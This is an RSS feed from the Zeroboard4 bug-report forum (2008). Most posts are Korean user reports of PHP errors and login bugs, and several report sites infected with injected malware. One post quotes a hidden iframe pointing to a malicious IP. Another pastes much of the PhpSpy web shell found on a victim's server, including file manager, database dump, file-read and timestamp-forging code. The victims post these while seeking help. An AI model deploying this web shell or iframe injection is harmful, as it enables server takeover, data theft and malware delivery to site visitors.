<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:taxo="http://purl.org/rss/1.0/modules/taxonomy/">
    <channel>
        <title><![CDATA[제로보드4 버그신고 게시판]]></title>
        <link><![CDATA[http://www.zeroboard.com/zb4_bugreport]]></link>
        <description><![CDATA[]]></description>
        <language>ko</language>
        <pubDate>Thu, 28 Aug 2008 21:36:24 +0900</pubDate>
        <totalCount>4019</totalCount>
                <item>
            <title><![CDATA[저기 님들하.....]]></title>
            <author><![CDATA[제로보드178]]></author>
            <link><![CDATA[http://www.zeroboard.com/17218700]]></link>
                        <description><![CDATA[<div class="xe_content"><STRONG>Parse error</STRONG>: syntax error, unexpected T_STRING in <B>C:\AutoSet\public_html\fhrmdls.php</B> on line <B>4</B> 
<P>이오류 머죠?<BR /><BR />지금 호스팅 업체를 시작하려 하는데(저혼자서 하는건 업체가 아니죠...)</P></div>]]></description>
                        <pubDate>Thu, 28 Aug 2008 16:47:30 +0900</pubDate>
                    </item>
                <item>
            <title><![CDATA[악성코드가 어디 숨었는지 못 찾겠어요 ㅠㅠ]]></title>
            <author><![CDATA[다크진]]></author>
            <link><![CDATA[http://www.zeroboard.com/17217245]]></link>
                        <description><![CDATA[<div class="xe_content">저도 밑에 분들처럼 악성코드가 들어온것 같은데 아무리 찾아봐도 어디 숨었나 못찾겠어요<BR /><BR />index 는 없는것 같고 bbs 에 _head 하고 zboard 찾아봤는데 여기에도 없는것 같고..<BR /><BR />도대체 어디 숨은걸까요 ????</div>]]></description>
                        <pubDate>Thu, 28 Aug 2008 10:17:05 +0900</pubDate>
                    </item>
                <item>
            <title><![CDATA[게시판 버그 인지 확인 부탁드립니다.]]></title>
            <author><![CDATA[솔사자르]]></author>
            <link><![CDATA[http://www.zeroboard.com/17217047]]></link>
                        <description><![CDATA[<div class="xe_content"><BR /><BR />게시판에서 정상적으로 로그인을 하면 로그인 처리가 안되어<BR /><BR />다시 로그인 안한 상태로 돌아가게 됩니다.<BR /><BR />id와 pwd를 정확하게 입력해도 로그인 처리가 안되고<BR /><BR />일부러 pwd를 틀리도록 입력하여 로그인 시도하면 로그인 실패라고 뜨며<BR /><BR />회원가입 버튼 누른 후 그다음 로그인 버튼 클릭하여 로그인 시도 할경우 <BR /><BR />정상적으로 로그인이 처리됩니다.<BR /><BR />배포버젼 : 4.1 pl 8 (2007. 5. 23)<BR /><BR />홈페이지주소: nalra.pe.kr<BR /><BR />게시판 로그인 id : test pwd:1111 <BR /><BR />시도해보신 후에 <A href="mailto:iceblue_love@hotmail.com">iceblue_love@hotmail.com</A>으로 답변 주셨으면 좋겠습니다.<BR /><BR /></div>]]></description>
                        <pubDate>Thu, 28 Aug 2008 08:54:29 +0900</pubDate>
                    </item>
                <item>
            <title><![CDATA[이게 무슨 버그인가요?]]></title>
            <author><![CDATA[Mavin]]></author>
            <link><![CDATA[http://www.zeroboard.com/17213129]]></link>
                        <description><![CDATA[<div class="xe_content"><STRONG>Warning</STRONG>: Unknown(): Your script possibly relies on a session side-effect which existed until PHP 4.2.3. Please be advised that the session extension does not consider global variables as a source of data, unless register_globals is enabled. You can disable this functionality and this warning by setting session.bug_compat_42 or session.bug_compat_warn to off, respectively. in <B>Unknown</B> on line <B>0</B><BR /><BR /><BR /><BR />페이지마다 이런 메시지가 떠요.ㅡㅡ<BR /><BR />화면 제일 밑에요~<BR />&nbsp;글도 잘써지는데..<BR /><BR />맨아래 꼭 저게 들어가요..ㅡㅡ<BR /><BR />없앨수 없을까요?</div>]]></description>
                        <pubDate>Wed, 27 Aug 2008 02:27:23 +0900</pubDate>
                    </item>
                <item>
            <title><![CDATA[악성코드가 index main _head zboard 등등 파일에 삽입되는 현상]]></title>
            <author><![CDATA[노동하]]></author>
            <link><![CDATA[http://www.zeroboard.com/17210929]]></link>
                        <description><![CDATA[<div class="xe_content">홈페이지소스에 악성코드가 index main _head zboard 등등 파일에 삽입되는 현상땜시 고생하시는분들이 꽤 많은데..<BR /><BR /><BR />저는 완전 돌겠습니다..... 일단 퍼미션을 파일마다 444 로 변경했는데 좀 괜찮다 싶더니 또 삽입이 되더군여...<BR /><BR />패치도 했거니와...&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 모든 조치를 다 했습니다...<BR /><BR />혹시 이것에 대한 조치를 확실히 하신분이나 해주실분 계시면 메일주세요.. 반드시 사례하겠습니다.<BR /><BR />아님 정보공유를 꼬옥 해주시길.....<BR /><BR />메일 jb7000@naver.com</div>]]></description>
                        <pubDate>Tue, 26 Aug 2008 13:25:16 +0900</pubDate>
                    </item>
                <item>
            <title><![CDATA[한번 봐주세요..ㅠㅠ]]></title>
            <author><![CDATA[sunnyeve]]></author>
            <link><![CDATA[http://www.zeroboard.com/17208490]]></link>
                        <description><![CDATA[<div class="xe_content"><BR />메뉴를 누르고 다른 메뉴를 누르면 넘어가지 않고 손가락 모양도 안나타나요<BR />그래서 다시 주소를 쳐서 들어가야 해요...;;;<BR /><BR />그리고 게시판위에 있는 로그인메뉴에는&nbsp;&nbsp;join창빼고 다 떠요<BR />왜 join창만 안뜰까요??<BR />&nbsp;이건 또 무슨일 인가요??<BR /><BR /><BR /><BR />도와주세요...ㅠㅠ</div>]]></description>
                        <pubDate>Mon, 25 Aug 2008 20:16:09 +0900</pubDate>
                    </item>
                <item>
            <title><![CDATA[activeX 설치창 설치 이후...]]></title>
            <author><![CDATA[장보임708]]></author>
            <link><![CDATA[http://www.zeroboard.com/17194056]]></link>
                        <description><![CDATA[<div class="xe_content">바로 밑에 글 올린 사람입니다.<BR />설치창이 뜨지 않는다는 말씀을 듣고 일단 제 컴퓨터에 설치를 해봤습니다.<BR />(당연하게도) 설치하고 나니 그 창은 안뜨는군요.<BR /><BR />그대신...<BR />최신글목록 성명/보도, 혹은 지/본부 소식에 있는 글을 보고나면...<BR />뒤로 가기 페이지 목록에 게임어쩌구 하는 이상한 사이트 목록이 뜹니다.<BR />(어떻게 설명해야 할지 모르겠네요)<BR /><BR />한번 봐주시면 감사하겠습니다~ ^^;<BR /></div>]]></description>
                        <pubDate>Thu, 21 Aug 2008 14:11:38 +0900</pubDate>
                    </item>
                <item>
            <title><![CDATA[activeX 설치창이 자꾸 뜹니다]]></title>
            <author><![CDATA[장보임708]]></author>
            <link><![CDATA[http://www.zeroboard.com/17193659]]></link>
                        <description><![CDATA[<div class="xe_content">오늘부터 갑자기 홈페이지에서 제로보드 있는 페이지만 들어가면 activeX 설치창이 뜹니다 -_-;;<BR /><BR />홈페이지 주소는 media.nodong.org 구요...<BR /><BR />보드 설치되어 있는 페이지는 죄다 ;;;;<BR /><BR />이게 어쩐 일일까요 ㅠ_ㅠ</div>]]></description>
                        <pubDate>Thu, 21 Aug 2008 12:03:59 +0900</pubDate>
                    </item>
                <item>
            <title><![CDATA[이미지 게시판이 갑자기 에러나고 있습니다.]]></title>
            <author><![CDATA[하늘사랑이]]></author>
            <link><![CDATA[http://www.zeroboard.com/17191440]]></link>
                        <description><![CDATA[<div class="xe_content">이미지 게시판이 갑자기 에러나고 있습니다.<BR />왜그런지요<BR /><A href="http://ywchurch.goanygate.com/">http://ywchurch.goanygate.com/</A><BR />의 예원영상이란 부분인데요 <BR />어느날 부터 깨지네요<BR /><BR />글구<BR /><BR />제로보드 xe 하면 제로보드 4의 게시판 자료를 사용가능한지요<BR /></div>]]></description>
                        <pubDate>Wed, 20 Aug 2008 20:25:45 +0900</pubDate>
                    </item>
                <item>
            <title><![CDATA[제로보드4 버그]]></title>
            <author><![CDATA[미오유]]></author>
            <link><![CDATA[http://www.zeroboard.com/17190817]]></link>
                        <description><![CDATA[<div class="xe_content">1. 검색 버그<BR />특수문자나 where 검색 안됩니다.<BR />그리고 태그를 검색할경우 깨집니다. a나 img<BR />2. member_memo2.php&nbsp; 버그<BR />.(점)하나 때문에 페이지 표시 안됨<BR />3. 자동링크에서 괄호가 있을경우 그것도 링크됨<BR />4. 일부기능이 firefox에서 안됨<BR />5. 일부 서버에서 추천, 조회의 세선버그<BR />6. 중복 추천 문제<BR /><BR />추가했으면 하는 것들<BR />1. 댓글 페이징<BR />2. 계층형 코멘트<BR />3. 스팸방지 문자열<BR />4.&nbsp;통합포인트<BR />5. 위자윅 에디터<BR />6. 레벨 아이콘<BR />7. 라이트박스<BR />8. 글내용에 설문조사 <BR />9. 비밀코멘트<BR />10. 포인트 수정<BR />11. 트랙백&nbsp; 기능<BR />12. 전체게시물 검색<BR /><BR />이거 모두는 팁으로 추가가능한것들입니다. 다만 1번과 2번을 같이하면 오류가 납니다.</div>]]></description>
                        <pubDate>Wed, 20 Aug 2008 17:46:41 +0900</pubDate>
                    </item>
                <item>
            <title><![CDATA[도와주세요 ㅠㅠ]]></title>
            <author><![CDATA[임혁600]]></author>
            <link><![CDATA[http://www.zeroboard.com/17168981]]></link>
                        <description><![CDATA[<div class="xe_content"><SPAN id=writeContents style="FONT-SIZE: 12px">오류가 나는곳의 주소를 알려주시면 더 빠르고 정확하게 답변 받을 수 있습니다. <BR /><BR />오류 주소 : <A href="http://hongbo24.com/subdot/admin.php" target=_blank>http://hongbo24.com/subdot/admin.php</A> <BR /><A href="http://hongbo24.com/subdot/counter.php" target=_blank>http://hongbo24.com/subdot/counter.php</A> <BR /><A href="http://hongbo24.com/subdot/list.php" target=_blank>http://hongbo24.com/subdot/list.php</A> <BR /><BR />Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/hosting_users/limhyeok/www/subdot/admin.php on line 62 <BR /><BR />Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/hosting_users/limhyeok/www/subdot/counter.php on line 33 <BR />없는 사용자입니다. <BR /><BR /><BR />Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/hosting_users/limhyeok/www/subdot/list.php on line 15 <BR /><BR />테이블 생성은 안되구 ㅠㅠ <BR /><BR />오류는 계속 뜨구 ㅠㅠ <BR /><BR />어떻게 해야하나요 ㅠㅠ 
<DIV style="CLEAR: both"></DIV></SPAN></div>]]></description>
                        <pubDate>Thu, 14 Aug 2008 20:28:19 +0900</pubDate>
                    </item>
                <item>
            <title><![CDATA[악성코드가 수시로 침입합니다.]]></title>
            <author><![CDATA[김인철517]]></author>
            <link><![CDATA[http://www.zeroboard.com/17137608]]></link>
                        <description><![CDATA[<div class="xe_content">악성 스크립트 로 인한 소스 삽입 공격이 수시로 들어오고 있습니다.<BR /><BR />들어오는 데는 현재<BR /><BR />lib.php, view.php, zboard.php에 맨위상단에 위치합니다.ㅜㅜ<BR /><BR />수시로 들어오는데 처리방법 없을까여.<BR /><BR /><BR />&lt;iframe src=http://211.115.68.112/Help.htm width=0 height=0&gt;&lt;/iframe&gt;</div>]]></description>
                        <pubDate>Wed, 06 Aug 2008 10:45:19 +0900</pubDate>
                    </item>
                <item>
            <title><![CDATA[짱꿔놈의 악성코드 아주 심각한 파일입니다.]]></title>
            <author><![CDATA[석이..]]></author>
            <link><![CDATA[http://www.zeroboard.com/17128338]]></link>
                        <description><![CDATA[<div class="xe_content"><P>제로보드 data 폴더에 마구잡이로 올려지네요 다시 지워도 다시 올리고 계정 정보는 물론 DB Dump 까지 할수 있는 php 파일을 아무렇지 않게 올리는데 완전히 사이트 안전에 매우 치명적이네요..<BR /><BR />&lt;?php</P>
<P>error_reporting(7);<BR />@set_magic_quotes_runtime(0);<BR />ob_start();<BR />$mtime = explode(' ', microtime());<BR />$starttime = $mtime[1] + $mtime[0];<BR />define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');<BR />//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );<BR />define('IS_WIN', DIRECTORY_SEPARATOR == '\\');<BR />define('IS_COM', class_exists('COM') ? 1 : 0 );<BR />define('IS_GPC', get_magic_quotes_gpc());<BR />$dis_func = get_cfg_var('disable_functions');<BR />define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );<BR />@set_time_limit(0);</P>
<P>foreach(array('_GET','_POST') as $_request) {<BR />&nbsp;foreach($$_request as $_key =&gt; $_value) {<BR />&nbsp;&nbsp;if ($_key{0} != '_') {<BR />&nbsp;&nbsp;&nbsp;if (IS_GPC) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;$_value = s_array($_value);<BR />&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;$$_key = $_value;<BR />&nbsp;&nbsp;}<BR />&nbsp;}<BR />}</P>
<P>/*===================== 程序配置 =====================*/<BR />$admin = array();<BR />// 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效<BR />$admin['check'] = true;<BR />// 如果需要密码验证,请修改登陆密码<BR />$admin['pass']&nbsp; = 'f4f068e71e0d87bf0ad51e6214ab84e9'; //angel</P>
<P>//如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认<BR />// cookie 前缀<BR />$admin['cookiepre'] = '';<BR />// cookie 作用域<BR />$admin['cookiedomain'] = '';<BR />// cookie 作用路径<BR />$admin['cookiepath'] = '/';<BR />// cookie 有效期<BR />$admin['cookielife'] = 86400;<BR />/*===================== 配置结束 =====================*/</P>
<P>if ($charset == 'utf8') {<BR />&nbsp;header("content-Type: text/html; charset=utf-8");<BR />} elseif ($charset == 'big5') {<BR />&nbsp;header("content-Type: text/html; charset=big5");<BR />} elseif ($charset == 'gbk') {<BR />&nbsp;header("content-Type: text/html; charset=gbk");<BR />} elseif ($charset == 'latin1') {<BR />&nbsp;header("content-Type: text/html; charset=iso-8859-2");<BR />}</P>
<P>$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];<BR />$timestamp = time();</P>
<P>/*===================== 身份验证 =====================*/<BR />if ($action == "logout") {<BR />&nbsp;scookie('phpspypass', '', -86400 * 365);<BR />&nbsp;p('&lt;meta http-equiv="refresh" content="1;URL='.$self.'"&gt;');<BR />&nbsp;p('&lt;a style="font:12px Verdana" href="'.$self.'"&gt;Success&lt;/a&gt;');<BR />&nbsp;exit;<BR />}<BR />if($admin['check']) {<BR />&nbsp;if ($doing == 'login') {<BR />&nbsp;&nbsp;if ($admin['pass'] == md5($password)) {<BR />&nbsp;&nbsp;&nbsp;scookie('phpspypass', md5($password));<BR />&nbsp;&nbsp;&nbsp;p('&lt;meta http-equiv="refresh" content="1;URL='.$self.'"&gt;');<BR />&nbsp;&nbsp;&nbsp;p('&lt;a style="font:12px Verdana" href="'.$self.'"&gt;Success&lt;/a&gt;');<BR />&nbsp;&nbsp;&nbsp;exit;<BR />&nbsp;&nbsp;}<BR />&nbsp;}<BR />&nbsp;if ($_COOKIE['phpspypass']) {<BR />&nbsp;&nbsp;if ($_COOKIE['phpspypass'] != $admin['pass']) {<BR />&nbsp;&nbsp;&nbsp;loginpage();<BR />&nbsp;&nbsp;}<BR />&nbsp;} else {<BR />&nbsp;&nbsp;loginpage();<BR />&nbsp;}<BR />}<BR />/*===================== 验证结束 =====================*/</P>
<P>$errmsg = '';</P>
<P>// 查看PHPINFO<BR />if ($action == 'phpinfo') {<BR />&nbsp;if (IS_PHPINFO) {<BR />&nbsp;&nbsp;phpinfo();<BR />&nbsp;&nbsp;exit;<BR />&nbsp;} else {<BR />&nbsp;&nbsp;$errmsg = 'phpinfo() function has non-permissible';<BR />&nbsp;}<BR />}</P>
<P>// 下载文件<BR />if ($doing == 'downfile' &amp;&amp; $thefile) {<BR />&nbsp;if (<A href="mailto:!@file_exists($thefile">!@file_exists($thefile</A>)) {<BR />&nbsp;&nbsp;$errmsg = 'The file you want Downloadable was nonexistent';<BR />&nbsp;} else {<BR />&nbsp;&nbsp;$fileinfo = pathinfo($thefile);<BR />&nbsp;&nbsp;header('Content-type: application/x-'.$fileinfo['extension']);<BR />&nbsp;&nbsp;header('Content-Disposition: attachment; filename='.$fileinfo['basename']);<BR />&nbsp;&nbsp;header('Content-Length: '.filesize($thefile));<BR />&nbsp;&nbsp;@readfile($thefile);<BR />&nbsp;&nbsp;exit;<BR />&nbsp;}<BR />}</P>
<P>// 直接下载备份数据库<BR />if ($doing == 'backupmysql' &amp;&amp; !$saveasfile) {<BR />&nbsp;dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);<BR />&nbsp;$table = array_flip($table);<BR />&nbsp;$result = q("SHOW tables");<BR />&nbsp;if (!$result) p('&lt;h2&gt;'.mysql_error().'&lt;/h2&gt;');<BR />&nbsp;$filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');<BR />&nbsp;header('Content-type: application/unknown');<BR />&nbsp;header('Content-Disposition: attachment; filename='.$filename);<BR />&nbsp;$mysqldata = '';<BR />&nbsp;while ($currow = mysql_fetch_array($result)) {<BR />&nbsp;&nbsp;if (isset($table[$currow[0]])) {<BR />&nbsp;&nbsp;&nbsp;$mysqldata .= sqldumptable($currow[0]);<BR />&nbsp;&nbsp;}<BR />&nbsp;}<BR />&nbsp;mysql_close();<BR />&nbsp;exit;<BR />}</P>
<P>// 通过MYSQL下载文件<BR />if($doing=='mysqldown'){<BR />&nbsp;if (!$dbname) {<BR />&nbsp;&nbsp;$errmsg = 'Please input dbname';<BR />&nbsp;} else {<BR />&nbsp;&nbsp;dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);<BR />&nbsp;&nbsp;if (!file_exists($mysqldlfile)) {<BR />&nbsp;&nbsp;&nbsp;$errmsg = 'The file you want Downloadable was nonexistent';<BR />&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;$result = q("select load_file('$mysqldlfile');");<BR />&nbsp;&nbsp;&nbsp;if(!$result){<BR />&nbsp;&nbsp;&nbsp;&nbsp;q("DROP TABLE IF EXISTS tmp_angel;");<BR />&nbsp;&nbsp;&nbsp;&nbsp;q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");<BR />&nbsp;&nbsp;&nbsp;&nbsp;//用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况<BR />&nbsp;&nbsp;&nbsp;&nbsp;q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");<BR />&nbsp;&nbsp;&nbsp;&nbsp;$result = q("select content from tmp_angel");<BR />&nbsp;&nbsp;&nbsp;&nbsp;q("DROP TABLE tmp_angel");<BR />&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;$row = @mysql_fetch_array($result);<BR />&nbsp;&nbsp;&nbsp;if (!$row) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;$errmsg = 'Load file failed '.mysql_error();<BR />&nbsp;&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;&nbsp;$fileinfo = pathinfo($mysqldlfile);<BR />&nbsp;&nbsp;&nbsp;&nbsp;header('Content-type: application/x-'.$fileinfo['extension']);<BR />&nbsp;&nbsp;&nbsp;&nbsp;header('Content-Disposition: attachment; filename='.$fileinfo['basename']);<BR />&nbsp;&nbsp;&nbsp;&nbsp;header("Accept-Length: ".strlen($row[0]));<BR />&nbsp;&nbsp;&nbsp;&nbsp;echo $row[0];<BR />&nbsp;&nbsp;&nbsp;&nbsp;exit;<BR />&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;}<BR />&nbsp;}<BR />}</P>
<P>?&gt;<BR />&lt;html&gt;<BR />&lt;head&gt;<BR />&lt;meta http-equiv="Content-Type" content="text/html; charset=gbk"&gt;<BR />&lt;title&gt;&lt;?php echo str_replace('.','','P.h.p.S.p.y');?&gt;&lt;/title&gt;<BR />&lt;style type="text/css"&gt;<BR />body,td{font: 12px Arial,Tahoma;line-height: 16px;}<BR />.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}<BR />.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}<BR />.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}<BR />a {color: #00f;text-decoration:underline;}<BR />a:hover{color: #f00;text-decoration:none;}<BR />.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}<BR />.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}<BR />.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}<BR />.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}<BR />.head td span{font-weight:normal;}<BR />form{margin:0;padding:0;}<BR />h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}<BR />ul.info li{margin:0;color:#444;line-height:24px;height:24px;}<BR />u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}<BR />&lt;/style&gt;<BR />&lt;script type="text/javascript"&gt;<BR />function CheckAll(form) {<BR />&nbsp;for(var i=0;i&lt;form.elements.length;i++) {<BR />&nbsp;&nbsp;var e = form.elements[i];<BR />&nbsp;&nbsp;if (e.name != 'chkall')<BR />&nbsp;&nbsp;e.checked = form.chkall.checked;<BR />&nbsp;&nbsp;&nbsp; }<BR />}<BR />function $(id) {<BR />&nbsp;return document.getElementById(id);<BR />}<BR />function goaction(act){<BR />&nbsp;$('goaction').action.value=act;<BR />&nbsp;$('goaction').submit();<BR />}<BR />&lt;/script&gt;<BR />&lt;/head&gt;<BR />&lt;body style="margin:0;table-layout:fixed; word-break:break-all"&gt;<BR />&lt;table width="100%" border="0" cellpadding="0" cellspacing="0"&gt;<BR />&nbsp;&lt;tr class="head"&gt;<BR />&nbsp;&nbsp;&lt;td&gt;&lt;span style="float:right;"&gt;&lt;a href="<A href="http://www.4ngel.net/">http://www.4ngel.net</A>" target="_blank"&gt;&lt;?php echo str_replace('.','','P.h.p.S.p.y');?&gt; Ver: 2008&lt;/a&gt;&lt;/span&gt;&lt;?php echo $_SERVER['HTTP_HOST'];?&gt; (&lt;?php echo gethostbyname($_SERVER['SERVER_NAME']);?&gt;)&lt;/td&gt;<BR />&nbsp;&lt;/tr&gt;<BR />&nbsp;&lt;tr class="alt1"&gt;<BR />&nbsp;&nbsp;&lt;td&gt;&lt;span style="float:right;"&gt;Safe Mode:&lt;?php echo getcfg('safe_mode');?&gt;&lt;/span&gt;<BR />&nbsp;&nbsp;&nbsp;&lt;a href="javascript:goaction('logout');"&gt;Logout&lt;/a&gt; | <BR />&nbsp;&nbsp;&nbsp;&lt;a href="javascript:goaction('file');"&gt;File Manager&lt;/a&gt; | <BR />&nbsp;&nbsp;&nbsp;&lt;a href="javascript:goaction('sqladmin');"&gt;MySQL Manager&lt;/a&gt; | <BR />&nbsp;&nbsp;&nbsp;&lt;a href="javascript:goaction('sqlfile');"&gt;MySQL Upload &amp;amp; Download&lt;/a&gt; | <BR />&nbsp;&nbsp;&nbsp;&lt;a href="javascript:goaction('shell');"&gt;Execute Command&lt;/a&gt; | <BR />&nbsp;&nbsp;&nbsp;&lt;a href="javascript:goaction('phpenv');"&gt;PHP Variable&lt;/a&gt; | <BR />&nbsp;&nbsp;&nbsp;&lt;a href="javascript:goaction('eval');"&gt;Eval PHP Code&lt;/a&gt;<BR />&nbsp;&nbsp;&nbsp;&lt;?php if (!IS_WIN) {?&gt; | &lt;a href="javascript:goaction('backconnect');"&gt;Back Connect&lt;/a&gt;&lt;?php }?&gt;<BR />&nbsp;&nbsp;&lt;/td&gt;<BR />&nbsp;&lt;/tr&gt;<BR />&lt;/table&gt;<BR />&lt;table width="100%" border="0" cellpadding="15" cellspacing="0"&gt;&lt;tr&gt;&lt;td&gt;<BR />&lt;?php</P>
<P>formhead(array('name'=&gt;'goaction'));<BR />makehide('action');<BR />formfoot();</P>
<P>$errmsg &amp;&amp; m($errmsg);</P>
<P>// 获取当前路径<BR />!$dir &amp;&amp; $dir = '.';<BR />$nowpath = getPath(SA_ROOT, $dir);<BR />if (substr($dir, -1) != '/') {<BR />&nbsp;$dir = $dir.'/';<BR />}<BR />$uedir = ue($dir);</P>
<P>if (!$action || $action == 'file') {</P>
<P>&nbsp;// 判断读写情况<BR />&nbsp;$dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';</P>
<P>&nbsp;// 删除目录<BR />&nbsp;if ($doing == 'deldir' &amp;&amp; $thefile) {<BR />&nbsp;&nbsp;if (!file_exists($thefile)) {<BR />&nbsp;&nbsp;&nbsp;m($thefile.' directory does not exist');<BR />&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));<BR />&nbsp;&nbsp;}<BR />&nbsp;}</P>
<P>&nbsp;// 创建目录<BR />&nbsp;elseif ($newdirname) {<BR />&nbsp;&nbsp;$mkdirs = $nowpath.$newdirname;<BR />&nbsp;&nbsp;if (file_exists($mkdirs)) {<BR />&nbsp;&nbsp;&nbsp;m('Directory has already existed');<BR />&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));<BR />&nbsp;&nbsp;&nbsp;@chmod($mkdirs,0777);<BR />&nbsp;&nbsp;}<BR />&nbsp;}</P>
<P>&nbsp;// 上传文件<BR />&nbsp;elseif ($doupfile) {<BR />&nbsp;&nbsp;m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));<BR />&nbsp;}</P>
<P>&nbsp;// 编辑文件<BR />&nbsp;elseif ($editfilename &amp;&amp; $filecontent) {<BR />&nbsp;&nbsp;$fp = @fopen($editfilename,'w');<BR />&nbsp;&nbsp;m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));<BR />&nbsp;&nbsp;@fclose($fp);<BR />&nbsp;}</P>
<P>&nbsp;// 编辑文件属性<BR />&nbsp;elseif ($pfile &amp;&amp; $newperm) {<BR />&nbsp;&nbsp;if (!file_exists($pfile)) {<BR />&nbsp;&nbsp;&nbsp;m('The original file does not exist');<BR />&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;$newperm = base_convert($newperm,8,10);<BR />&nbsp;&nbsp;&nbsp;m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));<BR />&nbsp;&nbsp;}<BR />&nbsp;}</P>
<P>&nbsp;// 改名<BR />&nbsp;elseif ($oldname &amp;&amp; $newfilename) {<BR />&nbsp;&nbsp;$nname = $nowpath.$newfilename;<BR />&nbsp;&nbsp;if (file_exists($nname) || !file_exists($oldname)) {<BR />&nbsp;&nbsp;&nbsp;m($nname.' has already existed or original file does not exist');<BR />&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));<BR />&nbsp;&nbsp;}<BR />&nbsp;}</P>
<P>&nbsp;// 复制文件<BR />&nbsp;elseif ($sname &amp;&amp; $tofile) {<BR />&nbsp;&nbsp;if (file_exists($tofile) || !file_exists($sname)) {<BR />&nbsp;&nbsp;&nbsp;m('The goal file has already existed or original file does not exist');<BR />&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));<BR />&nbsp;&nbsp;}<BR />&nbsp;}</P>
<P>&nbsp;// 克隆时间<BR />&nbsp;elseif ($curfile &amp;&amp; $tarfile) {<BR />&nbsp;&nbsp;if (<A href="mailto:!@file_exists($curfile">!@file_exists($curfile</A>) || <A href="mailto:!@file_exists($tarfile">!@file_exists($tarfile</A>)) {<BR />&nbsp;&nbsp;&nbsp;m('The goal file has already existed or original file does not exist');<BR />&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;$time = @filemtime($tarfile);<BR />&nbsp;&nbsp;&nbsp;m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));<BR />&nbsp;&nbsp;}<BR />&nbsp;}</P>
<P>&nbsp;// 自定义时间<BR />&nbsp;elseif ($curfile &amp;&amp; $year &amp;&amp; $month &amp;&amp; $day &amp;&amp; $hour &amp;&amp; $minute &amp;&amp; $second) {<BR />&nbsp;&nbsp;if (<A href="mailto:!@file_exists($curfile">!@file_exists($curfile</A>)) {<BR />&nbsp;&nbsp;&nbsp;m(basename($curfile).' does not exist');<BR />&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;$time = strtotime("$year-$month-$day $hour:$minute:$second");<BR />&nbsp;&nbsp;&nbsp;m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));<BR />&nbsp;&nbsp;}<BR />&nbsp;}</P>
